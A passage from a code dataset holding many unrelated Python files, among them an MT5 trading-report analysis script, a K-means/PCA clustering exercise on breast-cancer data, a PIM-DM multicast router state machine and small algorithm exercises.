BarIndex1 为 Time0和Time1 在 data 时间索引中的序号。\nnewtime_buyonly_noadd = myMT5Report.parse_unit_to_timenorm(unit_order=unit_buyonly_noadd, data = data)\nnewtime_sellonly_noadd = myMT5Report.parse_unit_to_timenorm(unit_order=unit_sellonly_noadd, data = data)\n\n# ---信号质量分析,返回 outStrat_Re, outSignal_Re:new_time 为 parse_unit_to_timenorm() 函数的输出结果;direct=\"BuyOnly\"做多,\"SellOnly\"做空;\nsavefig = savefolder + \"\\\\3.基仓+去加仓.BuyOnly.固定1Bar走势.jpg\"\noutStrat_Re, outSignal_Re = myMT5Report.get_signal_quality(new_time=newtime_buyonly_noadd, direct=\"BuyOnly\", data=data, holding=1, lag_trade=1, norepeathold=False, suptitle=\"基仓+去加仓.BuyOnly.1Bar\",savefig=None, show=True)\nsavefig = savefolder + \"\\\\3.基仓+去加仓.SellOnly.固定1Bar走势.jpg\"\noutStrat_Re, outSignal_Re = myMT5Report.get_signal_quality(new_time=newtime_sellonly_noadd, direct=\"SellOnly\", data=data, holding=1, lag_trade=1, norepeathold=False, suptitle=\"基仓+去加仓.SellOnly.1Bar\",savefig=None, show=True)\n\n\n# ---订单可管理性研究,画图。策略训练集多holding回测,选择夏普比和胜率来分析,下面的信号质量计算是否重复持仓都要分析。重复持仓主要看胜率。\nsavefig = savefolder + \"\\\\3.基仓+去加仓.BuyOnly.订单可管理性研究.jpg\"\nmyMT5Report.analysis_more_holding(new_time = newtime_buyonly_noadd, direct = \"BuyOnly\", data=data, holding_to = 10, lag_trade=1, label1=\"sharpe\", label2=\"winRate\", suptitle=\"基仓+去加仓.BuyOnly.订单可管理性研究\", savefig=None, show=True)\nsavefig = savefolder + \"\\\\3.基仓+去加仓.SellOnly.订单可管理性研究.jpg\"\nmyMT5Report.analysis_more_holding(new_time = newtime_sellonly_noadd, direct = \"SellOnly\", data=data, holding_to = 10, lag_trade=1, label1=\"sharpe\", label2=\"winRate\", suptitle=\"基仓+去加仓.SellOnly.订单可管理性研究\", savefig=None, show=True)\n\n\n\n#%% ======策略报告除去重复持仓行为======\n# ---获取无加仓的交易单元,返回 unit_total_solo, unit_buyonly_solo, unit_sellonly_solo\nunit_total_solo, unit_buyonly_solo, unit_sellonly_solo = myMT5Report.get_norepeated_unit(unit_buyonly_noadd=unit_buyonly_noadd, unit_sellonly_noadd=unit_sellonly_noadd, sortby=\"Order0\")\n\n# ---绘制策略报告的资金走势结果,按all、buyonly、sellonly绘制。\nsavefig = savefolder + \"\\\\4.策略基仓+去加仓+去重复持仓走势.jpg\"\nmyMT5Report.plot_report_balance(unit_total=unit_total_solo, unit_buyonly=unit_buyonly_solo, unit_sellonly=unit_sellonly_solo, savefig=None, show=True, title=\"策略基仓+去加仓+去重复持仓走势\")\n\n# ---基仓无加仓无重复持仓固定bar持仓走势研究\nnewtime_buyonly_solo = myMT5Report.parse_unit_to_timenorm(unit_order=unit_buyonly_solo, data = data)\nnewtime_sellonly_solo = myMT5Report.parse_unit_to_timenorm(unit_order=unit_sellonly_solo, data = data)\n\n# ---信号质量分析,返回 outStrat_Re, outSignal_Re:new_time 为 parse_unit_to_timenorm() 函数的输出结果;direct=\"BuyOnly\"做多,\"SellOnly\"做空;\nsavefig = savefolder + \"\\\\4.基仓+去加仓+去重复持仓.BuyOnly.固定1Bar走势.jpg\"\noutStrat_Re, outSignal_Re = myMT5Report.get_signal_quality(new_time=newtime_buyonly_solo, direct=\"BuyOnly\", data=data, holding=1, lag_trade=1, norepeathold=True, suptitle=\"基仓+去加仓+去重复持仓.BuyOnly.1Bar\",savefig=None, show=True)\nsavefig = savefolder + \"\\\\4.基仓+去加仓+去重复持仓.SellOnly.固定1Bar走势.jpg\"\noutStrat_Re, outSignal_Re = myMT5Report.get_signal_quality(new_time=newtime_sellonly_solo, direct=\"SellOnly\", data=data, holding=1, lag_trade=1, norepeathold=True, suptitle=\"基仓+去加仓+去重复持仓.SellOnly.1Bar\",savefig=None, show=True)\n\n\n# ---订单可管理性研究,画图。策略训练集多holding回测,选择夏普比和胜率来分析,下面的信号质量计算是否重复持仓都要分析。重复持仓主要看胜率。\nsavefig = savefolder + \"\\\\4.基仓+去加仓+去重复持仓.BuyOnly.订单可管理性研究.jpg\"\nmyMT5Report.analysis_more_holding(new_time = newtime_buyonly_solo, direct = \"BuyOnly\", data=data, holding_to = 10, lag_trade=1, label1=\"sharpe\", label2=\"winRate\", suptitle=\"基仓+去加仓+去重复持仓.BuyOnly.订单可管理性研究\", savefig=None, show=True)\nsavefig = savefolder + \"\\\\4.基仓+去加仓+去重复持仓.SellOnly.订单可管理性研究.jpg\"\nmyMT5Report.analysis_more_holding(new_time = newtime_sellonly_solo, direct = \"SellOnly\", data=data, holding_to = 10, lag_trade=1, label1=\"sharpe\", label2=\"winRate\", suptitle=\"基仓+去加仓+去重复持仓.SellOnly.订单可管理性研究\", savefig=None, show=True)\n\n\n\n\n\n","sub_path":"Analysis_MT5策略报告研究/策略报告分解订单逻辑.py","file_name":"策略报告分解订单逻辑.py","file_ext":"py","file_size_in_byte":11702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"403787168","text":"max_number = int(input('Enter the limit of the search of prime numbers'))\n\ndef prime_numbers(max_number):\n numbers_list = [0] * max_number\n for i in range(max_number):\n numbers_list[i] = i\n\n numbers_list[1] = 0\n\n devision_base = 2\n\n while devision_base < max_number:\n\n if numbers_list[devision_base] != 0:\n check_number = devision_base * 2\n\n while check_number < max_number:\n numbers_list[check_number] = 0\n check_number = check_number + devision_base\n\n devision_base += 1\n\n result_list = []\n for i in numbers_list:\n if numbers_list[i] != 0:\n result_list.append(numbers_list[i])\n\n return result_list\n\nresult = prime_numbers(max_number)\nprint(\"All prime numbers in the range from 0 to\", max_number , \":\\n\", result )","sub_path":"task_26.py","file_name":"task_26.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"649340561","text":"class Solution(object):\n def findDuplicates(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n result = list()\n count = set()\n\n for i in range(0, len(nums)):\n if nums[i] not in count:\n count.add(nums[i])\n else:\n result.append(nums[i])\n return result","sub_path":"Find_All_Duplicates_In_An_Array.py","file_name":"Find_All_Duplicates_In_An_Array.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"492857901","text":"from lava_test_plans.__main__ import main\n\nfrom unittest import TestCase\nimport sys\nimport glob\nimport os\nimport pytest\nimport shlex\n\ntest_lava_validity = (\n \"\" if os.getenv(\"SKIP_TEST_LAVA_VALIDITY\") else \"--test-lava-validity\"\n)\n\ndevices = [\"hi960-hikey\", \"x15\", \"qemu_arm64\"]\ntestcase = \"ltp-syscalls.yaml\"\nvariable_input_files = [\"test/variables-tags.ini\", \"test/variables-tags-one-tag.ini\"]\ntests = []\nfor device in devices:\n for variable_file in variable_input_files:\n tests.append((variable_file, device, testcase))\n\n\n@pytest.mark.parametrize(\"param\", tests)\ndef test_call_lava_tags_testcase(param):\n variable_input_file, device, testcase = param\n sys.argv = shlex.split(\n f'lava_test_plans --dry-run --variables \"{variable_input_file}\" --device-type \"{device}\" --test-case \"{testcase}\" {test_lava_validity}'\n )\n assert main() == 0\n","sub_path":"test/test_lava_tags.py","file_name":"test_lava_tags.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"507328921","text":"class Tri:\n def __init__(self):\n def helper(k):\n if k == 0:\n return 0\n if nums[k]:\n return nums[k]\n nums[k] = helper(k - 1) + helper(k - 2) + helper(k - 3) \n return nums[k]\n n = 38\n self.nums = nums = [0] * n\n nums[1] = nums[2] = 1\n helper(n - 1)\n \nclass Solution:\n t = Tri()\n def tribonacci(self, n: int) -> int:\n return self.t.nums[n]\n","sub_path":"algorithms/1137. N-th Tribonacci Number.py","file_name":"1137. N-th Tribonacci Number.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"76091313","text":"#!/usr/bin/env python3\nimport sys\nimport os\nimport post_process\n\nimport lxml.etree as ET\n\n\nif len(sys.argv) < 2:\n print(\"Usage: []\")\n sys.exit(0)\n\nxml_path = sys.argv[1]\ntrans_path = os.path.dirname(sys.argv[1])+os.sep + \"..\" + os.sep + \"transforms\"\ndom = ET.parse(xml_path)\nif \"{https://niap-ccevs.org/cc/v1}Module\" == dom.getroot().tag:\n xsl_path = trans_path + os.sep + \"xsl\" + os.sep + \"module2html.xsl\"\nelse:\n xsl_path = trans_path + os.sep + \"xsl\" + os.sep + \"pp2html.xsl\"\n\nxslt = ET.parse(xsl_path)\ntransform = ET.XSLT(xslt)\nnewdom = transform(dom)\nuc_xml = ET.tostring(newdom, pretty_print=True)\n\nif len(sys.argv) < 3:\n print(post_process.build_from_string(uc_xml))\nelse:\n with open(sys.argv[2], \"wb+\") as fout:\n fout.write(post_process.build_from_string(uc_xml))\n\n\n\n\n","sub_path":"bin/build_pp.py","file_name":"build_pp.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"174941912","text":"import os\nimport util\nimport argparse\n\ndef parserCommad():\n '''\n Get the command line parameter and return them.\n '''\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--second_order_mutant_path', action='store',\n default=\"./second_order_mutant_extend/result/\",\n dest='second_order_mutant_path',\n help='Path of storing second-order mutants.')\n\n parser.add_argument('--version', action='version',\n version='%(prog)s 1.0')\n\n results = parser.parse_args()\n\n return results\n\nif __name__ == \"__main__\":\n\n compile_dir = parserCommad().second_order_mutant_path + \"compile/\"\n file_name_list = os.listdir(compile_dir)\n file_name = file_name_list[0]\n replace_index = util.findIndex(file_name, \"_\")\n file_name = file_name[:replace_index[-1]]\n\n mutation_dir = parserCommad().second_order_mutant_path + \"Mutation_source/\"\n mutation_file_list = os.listdir(mutation_dir)\n mutation_file_number = len(mutation_file_list)\n\n with open(\"./second_order_mutant_extend/result/logs/res_execute_mutant.txt\", 'w') as f:\n f.write(\"\") # create and clean res_record.txt\n f.close()\n f = open(\"./second_order_mutant_extend/result/logs/res_execute_mutant.txt\", 'a')\n\n for i in range(mutation_file_number):\n file_temp_name = file_name + \"_\" +str(i+1) + \".c.exe\"\n if file_temp_name in file_name_list:\n f.write(str(i+1)+\"\\n\")\n\n f.close()\n","sub_path":"_second_order_mutant_extend/create_res_execute_second_order_mutants.py","file_name":"create_res_execute_second_order_mutants.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"653664664","text":"\n#%%\nimport matplotlib.pyplot as pyplot\npyplot.rcParams['figure.facecolor'] = '#002B36'\npyplot.rcParams['axes.facecolor'] = 'black'\n\n#%% [markdown]\n# # K-Means Clustering\n#%% [markdown]\n# # 1) Use the \"Breast Cancer Wisconsin (Diagnostic) Data Set\" from Kaggle to try and cluster types of cancer cells. \n# \n# Here's the original dataset for your reference:\n# \n# \n#%% [markdown]\n# ## This is a supervised learning dataset\n# \n# (Because it has **labels** - The \"diagnosis\" column.)\n\n#%%\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA # You don't necessarily have to use this\nfrom sklearn.cluster import KMeans # You don't necessarily have to use this\nfrom sklearn.preprocessing import StandardScaler # You don't necessarily have to use this\n\ndf = pd.read_csv(\"https://raw.githubusercontent.com/ryanleeallred/datasets/master/Cancer_Cells.csv\")\nprint(df.shape)\ndf.head()\n\n#%% [markdown]\n# ## Now it's an unsupervised learning dataset\n# \n# (Because we've removed the diagnosis label) - Use this version.\n\n#%%\ntrain = df.drop('diagnosis', axis=1).drop('Unnamed: 32', axis=1).drop('id', axis=1)\n# Dropping the 'id' column sharply increases the accuracy of the\n# non-normalized 2-cluster K-Means result\n# It doesn't really change anything else\n# But is probably still good practice.\ntrain.head()\n\n#%%\ntrain.isna().sum()\n\n#%%\nfor col in train.columns:\n\tprint(col, train[col].max())\n\n#%% [markdown]\n# ## Let's do it!\n# \n# - You might want to do some data exploration to see if you can find specific columns that will help you find distinct clusters of cells\n# - You might want to use the elbow method to decide on the number of clusters to use.\n# \n\n#%%\n# Perform K-Means Clustering on the Dataset\nimport numpy\nimport matplotlib.pyplot as pyplot\n\nvariances = []\nstddevs = []\nkmeans = []\n\nfor k in range(1, 11):\n\tprint(f'Running KMeans(n_clusters={k})')\n\tkmeans.append(KMeans(n_clusters=k))\n\tkmeans[-1].fit(train)\n\tvariances.append(kmeans[-1].inertia_/k)\n\tstddevs.append(variances[-1]**.5)\n\n#%%\n\npyplot.plot(range(1, 11), stddevs)\npyplot.grid()\npyplot.title('Standard deviation by cluster')\npyplot.show()\n\n#%%\nkmeans[2].cluster_centers_\nstddevs\n\n#%% [markdown]\n# ## Check you work: \n# \n# This is something that in a truly unsupervised learning situation **WOULD NOT BE POSSIBLE**. But for educational purposes go back and grab the true dianosis column (label) from the original dataset. Take your cluster labels and compare them to the original diagnosis column. You can make scatterplots for each to see how they compare or you can calculate a percent accuracy score like: \n# \\begin{align}\n# \\frac{\\text{Num Correct Labels}}{\\text{Num Total Observations}}\n# \\end{align}\n\n#%%\n#kmeans[1].labels_==1\n\n#%%\nlen(df['diagnosis']=='B')\n#%%\nlen(kmeans[1].labels_)\n#%%\nimport pandas\npandas.Series(kmeans[1].labels_).value_counts()\n#%%\ndf['diagnosis'].value_counts()\n#%%\nimport scipy.stats as stats\nresult = pandas.DataFrame(numpy.transpose([df['diagnosis']=='B',kmeans[1].labels_==stats.mode(kmeans[1].labels_)[0][0]]), columns=['diagnosis', 'kmeans_2_clusters'])\n# (result['diagnosis']==(kmeans[1].labels_==1)).value_counts()\nresult['correct'] = result['diagnosis']==result['kmeans_2_clusters']\nresult['correct'].value_counts()\n\n#%%\npercent_correct = result['correct'].value_counts()[True]/len(result['correct'])*100\nprint(f'Got {percent_correct:5.4}% correct.')\nnaive_percent_correct = (result['diagnosis']==True).value_counts()[True]/len(result['diagnosis'])*100\nprint(f'Naive estimation (all diagnosis = \\'B\\') would get {naive_percent_correct:5.4}%')\n\n#%%\n\n# Testing how good the data is if we just normalize it first\nfrom sklearn.preprocessing import StandardScaler\n\ntarget = df['diagnosis'].replace({'B':1,'M':0})\n# target.value_counts()\nscaler = StandardScaler()\nprocessed = scaler.fit_transform(train,y=target)\n\nkmeans=KMeans(n_clusters=2)\nkmeans.fit(processed)\n\n\nresult['kmeans_normalized_2_clusters'] = kmeans.labels_==stats.mode(kmeans.labels_)[0][0]\nresult['normalized_correct'] = result['diagnosis']==result['kmeans_normalized_2_clusters']\nresult['normalized_correct'].value_counts()\n\n#%%\npercent_correct = result['normalized_correct'].value_counts()[True]/len(result['normalized_correct'])*100\nprint(f'Got {percent_correct:5.4}% correct for 2 clusters on normalized data.')\n\n#%% [markdown]\n# # 2) Perform PCA on your dataset first and *then* use k-means clustering. \n# \n# - You need to standardize your data before PCA.\n# - First try clustering just on PC1 and PC2 so that you can make a scatterplot of your clustering.\n# - Then use use a scree plot to decide how many principal components to include in your clustering, and use however many principal components you need in order to retain 90% of the variation of the original dataset\n# \n# \n\n#%%\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import PCA\n\ntarget = df['diagnosis'].replace({'B':1,'M':0})\ntarget.value_counts()\n\n#%%\n\nscaler = StandardScaler()\nprocessed = scaler.fit_transform(train,y=target)\n\npca = PCA()\npca.fit(processed)\n\nprint(f'eigenvectors: {pca.components_}')\nprint(f'eigenvalues: {pca.explained_variance_}')\nprint(f'Explained variance ratio: {pca.explained_variance_ratio_}')\nprint(pca)\n\nprojected = pca.transform(processed)\nprint(f'projected: {projected}')\n\n#%%\nvariance_sum = numpy.cumsum(pca.explained_variance_ratio_)\npyplot.plot(range(1,len(variance_sum)+1), variance_sum)\npyplot.plot(range(1,len(variance_sum)+1), pca.explained_variance_ratio_)\npyplot.xticks(range(1,len(variance_sum)+1,2))\npyplot.grid()\npyplot.axhline(y=0.9,linestyle='--')\npyplot.show()\n\n#%%\nfor i in range(len(variance_sum)):\n\tprint(f'PC{i+1} explains {variance_sum[i]*100:5.4}% of variation')\n\tif variance_sum[i] > 0.9:\n\t\tprint(f'Need PC{i+1}')\n\t\tbreak\n\n#%%\n# PC1 clustering\nimport scipy.stats as stats\nprocessed = scaler.fit_transform(train,y=target)\npc1 = PCA(1)\npc1.fit(processed)\nprojected_1 = pc1.transform(processed)\nkmeans=KMeans(n_clusters=2)\nkmeans.fit(projected_1)\n\n#kmeans.labels_==stats.mode(kmeans.labels_)[0][0]\n\n#%%\n\nresult['pc1_cluster_1'] = kmeans.labels_==stats.mode(kmeans.labels_)[0][0]\nresult['pc1_correct'] = result['diagnosis']==result['pc1_cluster_1']\nresult['pc1_correct'].value_counts()\n\n#%%\npercent_correct = result['pc1_correct'].value_counts()[True]/len(result['pc1_correct'])*100\nprint(f'Got {percent_correct:5.4}% correct for 2 clusters on PC1.')\n\n#%%\n# PC2 clustering\nprocessed = scaler.fit_transform(train,y=target)\npc2 = PCA(2)\npc2.fit(processed)\nprojected_2 = pc2.transform(processed)\nkmeans=KMeans(n_clusters=2)\nkmeans.fit(projected_2)\n\n#kmeans.labels_==stats.mode(kmeans.labels_)[0][0]\n\n#%%\n\nresult['pc2_cluster_1'] = kmeans.labels_==stats.mode(kmeans.labels_)[0][0]\nresult['pc2_correct'] = result['diagnosis']==result['pc2_cluster_1']\nresult['pc2_correct'].value_counts()\n\n#%%\npercent_correct = result['pc2_correct'].value_counts()[True]/len(result['pc2_correct'])*100\nprint(f'Got {percent_correct:5.4}% correct for 2 clusters on PC2.')\n\n#%%\nkmeans.cluster_centers_\n\n#%%\nprojected_2.shape\n\n#%%\npyplot.scatter(projected_2[:,0],projected_2[:,1], alpha=0.2)\npyplot.scatter(kmeans.cluster_centers_[:,0],kmeans.cluster_centers_[:,1], color='r')\npyplot.title('PCA components with K-Means centroids')\npyplot.xlabel('PC1')\npyplot.ylabel('PC2')\npyplot.legend(['Data','Centroids'])\npyplot.show()\n\n#%%\n# Clustering on PC7\nprocessed = scaler.fit_transform(train,y=target)\npc7 = PCA(7)\npc7.fit(processed)\nprojected_7 = pc7.transform(processed)\nkmeans=KMeans(n_clusters=2)\nkmeans.fit(projected_7)\n\n#kmeans.labels_==stats.mode(kmeans.labels_)[0][0]\n\n#%%\n\nresult['pc7_cluster_1'] = kmeans.labels_==stats.mode(kmeans.labels_)[0][0]\nresult['pc7_correct'] = result['diagnosis']==result['pc7_cluster_1']\nresult['pc7_correct'].value_counts()\n\n#%%\npercent_correct = result['pc7_correct'].value_counts()[True]/len(result['pc7_correct'])*100\nprint(f'Got {percent_correct:5.4}% correct for 2 clusters on PC7.')\n\n#%% [markdown]\n# ## Check your work: \n# \n# - Compare your PC1, PC2 clustering scatterplot to the clustering scatterplots you made on the raw data\n# - Calculate accuracy scores for both the PC1,PC2 Principal component clustering and the 90% of explained variance clustering.\n# \n# How do your accuracy scores when preprocessing the data with PCA compare to the accuracy when clustering on the raw data?\n\n\n#%% [markdown]\n# # Stretch Goals:\n# \n# - Study for the Sprint Challenge\n# - Work on your Data Storytelling Project\n# - Practice your two-minute presentation for your Data Storytelling Project\n\n","sub_path":"module4-clustering/Cell_Clustering_Assignment.py","file_name":"Cell_Clustering_Assignment.py","file_ext":"py","file_size_in_byte":8616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"93411742","text":"import re\n\ndef word_count(phrase):\n words = {}\n for word in re.split(r'[ \\t_,\\n]+', phrase.lower()):\n word = word.rstrip(\".:!&@$%^'\")\n word = word.lstrip(\"'\")\n if len(word) == 0:\n continue\n\n if word in words:\n words[word] += 1\n else:\n words[word] = 1\n return words\n","sub_path":"python/word-count/word_count.py","file_name":"word_count.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"261301277","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom DetectionTheory import gaussian_cdf\n\nif __name__ == \"__main__\":\n\n # Plot example ROC curves illustrating good and bad detectors\n \n plt.close(\"all\")\n \n gamma_range = np.linspace(-10,10,1000)\n sigma_range = [0.5, 0.9]\n labels = [\"Good detector\", \"Better detector\"]\n\n for i, sigma in enumerate(sigma_range):\n points = []\n \n for gamma in gamma_range:\n PD = gaussian_cdf(gamma, mu = 0, sigma = sigma)\n PFA = gaussian_cdf(gamma, mu = 1, sigma = sigma)\n points.append([PD, PFA])\n \n points = np.array(points)\n auc = np.trapz(points[:, 0], points[:, 1])\n plt.plot(points[:, 1], points[:, 0], linewidth = 2, label = labels[i])\n\n plt.plot([0, 1], [0, 1], '-', linewidth = 2, label = \"Bad detector\")\n plt.legend(loc = 4)\n plt.xlabel('Probability of False Alarm $P_{FA}$')\n plt.ylabel('Probability of Detection $P_{D}$')\n\n #plt.show()\n #plt.title(\"ROC Curve\")\n plt.savefig(\"../images/roc_difficulty.pdf\", bbox_inches = \"tight\")\n","sub_path":"code/roc_curves.py","file_name":"roc_curves.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"371464978","text":"from selenium.webdriver.common.by import By\n\n\nGO_BUTTON = (By.LINK_TEXT, \"GO\")\nCAREER_MENU_LINK = (By.XPATH, \"//li[@id='menu-item-21643']/a\")\nCAREER_CULTURE_LINK = (By.XPATH, \"//a[@href='#culture']\")\nCAREER_LOCATIONS_LINK = (By.XPATH, \"//a[@href='#locations']\")\nCAREER_TEAMS_LINK = (By.XPATH, \"//a[@href='#teams']\")\nCAREER_JOBS_LINK = (By.XPATH, \"//a[@href='#jobs']\")\nCAREER_LIFE_LINK = (By.XPATH, \"//a[@href='#life-at-insider']\")\nCAREER_JOBS_HEADING = (By.XPATH, \"//div[@id='jobs']/div[2]/div/div/div/h2\")\nCAREER_JOBS_PARAGRAPH = (By.XPATH, \"//div[@id='jobs']/div[2]/div/div/div/div/div/p\")\nCAREER_JOBS_LOCATION_FILTER_ISTANBUL = (By.XPATH, \"//option[@class='job-location Istanbul,Turkey']\")\nCAREER_JOBS_DEPARTMENT_FILTER_QA = (By.XPATH, \"//option[@class='job-team QualityAssurance']\")\nCAREER_JOBS_RESULTS_LIST = (By.XPATH, \"//div[@class='jobs-list']\")\nCAREER_JOBS_RESULT_ITEM = (By.XPATH, \"//div[@class='jobs-list']/a\")\n\n","sub_path":"src/pages/locators/insider_locators.py","file_name":"insider_locators.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"378469811","text":"#\n__author__ = 'Marisa Gross'\n\n# CIS 125\n# Program1\n#\n# Table of Celsius and Fahrenheit equivalents from 0C to 100C\n\n\ndef main():\n for C in range(0,101,10):\n F = (9/5 * C) + 32\n print(C,F)\n \nmain()","sub_path":"Program1.py","file_name":"Program1.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"603035565","text":"# -*- coding: utf-8 -*-\n# The first line is a special marker telling the Python interpreter that this \n# file has UTF-8, so that it can expect and handle non-ASCII characters.\nfrom odoo import models, fields, api\nclass TodoTask(models.Model):\n _name = 'todo.task'\n name = fields.Char('Description', required=True)\n is_done = fields.Boolean('Done?')\n active = fields.Boolean('Active?', default=True)\n\n @api.one\n def do_toggle_done(self):\n self.is_done = not self.is_done\n return True\n \n # On methods decorated with @api.multi the self represents a recordset. It can\n # contain a single record, when used from a form , or several records, when used\n # from a list view\n @api.multi\n def do_clear_done(self):\n done_recs = self.search([('is_done', '=', True)])\n done_recs.write({'active': False})\n return True\n","sub_path":"addons/todo_app/todo_model.py","file_name":"todo_model.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"396977108","text":"'''\nCreated on Aug 25, 2014\n\n@author: alex\n'''\nfrom des.addr import Addr\nfrom des.event.timer import Timer\n\nfrom pim_dm.messages.message_abs import PimTreeMsg\nfrom pim_dm.messages.message_type import PimTreeMsgType\nfrom pim_dm.router.tree.downstream.state import DownstreamState\nfrom pim_dm.router.tree.downstream.state_abstract import DownstreamStateABS\nfrom pim_dm.router.tree.tree_if_state import TreeInterfaceState\n\nfrom convergence import Convergence\n\n\nclass Downstream(TreeInterfaceState):\n def __init__(self, tree_if):\n \"\"\"\n @type tree_if: TreeInterface\n \"\"\"\n TreeInterfaceState.__init__(self, tree_if)\n\n self._membership_state = None\n\n node = tree_if.node\n self._state = DownstreamState.NoInfoState\n\n self._prune_timer = Timer(node, 0, self.__prune_timer_expired)\n self._prune_pending_timer = Timer(node,\n tree_if.pim_if.jp_override_internal,\n self.__prune_pending_timer_expired)\n\n def _prepare_state_change(self):\n pass\n # TODO: clean this up if needed\n # self._assert_timer.stop()\n # self._prune_timer.stop()\n #\n # self._assert_state.couldAssertIsNowTrue(self)\n\n # Override\n def is_downstream(self):\n return True\n\n # Override\n def is_prunned(self):\n return self._state == DownstreamState.Prunned\n\n # Override\n def delete(self):\n super().delete()\n\n self._prune_pending_timer.stop()\n del self._prune_pending_timer\n\n self._prune_timer.stop()\n del self._prune_timer\n\n def recv(self, msg: PimTreeMsg, sender: Addr) -> None:\n '''\n @type sender: Addr\n @type msg: PimTreeMsg\n '''\n mtype = msg.tree_type\n\n if mtype in (PimTreeMsgType.Data, PimTreeMsgType.Assert,\n PimTreeMsgType.GraftAck, PimTreeMsgType.StateRefresh):\n pass\n\n elif mtype == PimTreeMsgType.Prune:\n if msg.nbr == self.get_tree_if().node:\n self._state.receivedPrune(self._tree_if, self)\n\n elif mtype == PimTreeMsgType.Join:\n if msg.nbr == self.get_tree_if().node:\n self._state.receivedJoin(self._tree_if, self)\n\n elif mtype == PimTreeMsgType.Graft:\n if msg.nbr == self.get_tree_if().node:\n self._state.receivedGraft(self._tree_if, self)\n\n else:\n assert False\n\n def send_sr_msg(self):\n self._state.send_state_refresh(self._tree_if, self)\n\n def set_state(self, state):\n '''\n sets the state of the Upstream state machine\n\n @return: true if the state changed, false if the setted state is the same\n '''\n assert isinstance(state, DownstreamStateABS)\n\n ret = self._state != state\n self._state = state\n\n self._tree_if.get_tree().evaluate_olist_change()\n\n if ret:\n Convergence.mark_change()\n\n return ret\n\n def __prune_pending_timer_expired(self):\n self._state.PPTexpires(self._tree_if, self)\n\n def __prune_timer_expired(self):\n self._state.PTexpires(self._tree_if, self)\n\n def get_ppt(self):\n '''\n @rtype: Timer\n '''\n return self._prune_pending_timer\n\n def get_pt(self):\n '''\n @rtype: Timer\n '''\n return self._prune_timer\n\n def get_tree_if(self):\n '''\n @rtype: TreeInterface\n '''\n return self._tree_if\n","sub_path":"src/pim_dm/router/tree/downstream/interface_state.py","file_name":"interface_state.py","file_ext":"py","file_size_in_byte":3520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"347757636","text":"from sys import stdout\nfrom time import time\n\nfrom euler.core.eulersolution import EulerSolution\nfrom euler.solutions import max_pnumber\n\n\ndef timed_func(func, *args):\n itime = time()\n sol = func(*args)\n return time() - itime, sol\n\n\nclass Solver:\n def __init__(self):\n self.solutions = {}\n for cls in EulerSolution.__subclasses__():\n sol = cls()\n self.solutions[sol.problem_number] = sol\n\n def solve(self, problem_number, output_file=None):\n runtime, sol = timed_func(self.solutions[problem_number].solve)\n with (open(output_file, 'w') if output_file else stdout) as ofh:\n print(sol, file=ofh)\n return runtime\n\n def verify(self, problem_number, verified_solution):\n runtime, sol = timed_func(self.solutions[problem_number].solve)\n return runtime, sol == verified_solution\n\n def numbers_implemented(self):\n for i in range(1, max_pnumber + 1):\n if i in self.solutions:\n yield i\n","sub_path":"euler/core/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"142569887","text":"import numpy as np\nimport random\n\ndef sigmoid (z):\n return 1/(1+np.exp(-z))\n\ndef model(w, b, X):\n return sigmoid(np.dot(X, w)+b)\n\ndef loss_function(x_list,y_list,w,b):\n average_loss = 0.0\n for i in range(len(x_list)):\n y_pred = model(w,b,x_list[i])\n average_loss += np.multiply(-y_list[i],np.log(y_pred)) + np.multiply(-(1-y_list[i]),np.log(1-y_pred))\n average_loss /= len(x_list)\n return average_loss\n\ndef gradient(y_pred,y_real,x):\n diff = y_pred - y_real\n dw = diff * x\n db = diff\n\n return dw,db\n\ndef step_gradient(batch_x_list, batch_y_list,lr,w,b):\n aver_dw, aver_db = 0,0\n for i in range(len(batch_x_list)):\n pred_y = model(w,b,batch_x_list[i])\n dw,db = gradient(pred_y,batch_y_list[i],batch_x_list[i])\n aver_dw += dw\n aver_db += db\n aver_dw /= len(batch_x_list)\n aver_db /= len(batch_y_list)\n\n w -= lr * aver_dw\n b -= lr * aver_db\n\n return w,b\n\ndef train(x_list,real_y_list,batch_size,lr,max_iter):\n w,b =0,0\n loss_list = []\n for i in range(max_iter):\n batch_idex = np.random.choice(len(x_list),batch_size)\n batch_x_list = [x_list[i] for i in batch_idex]\n batch_real_y_list = [real_y_list[i] for i in batch_idex]\n w, b = 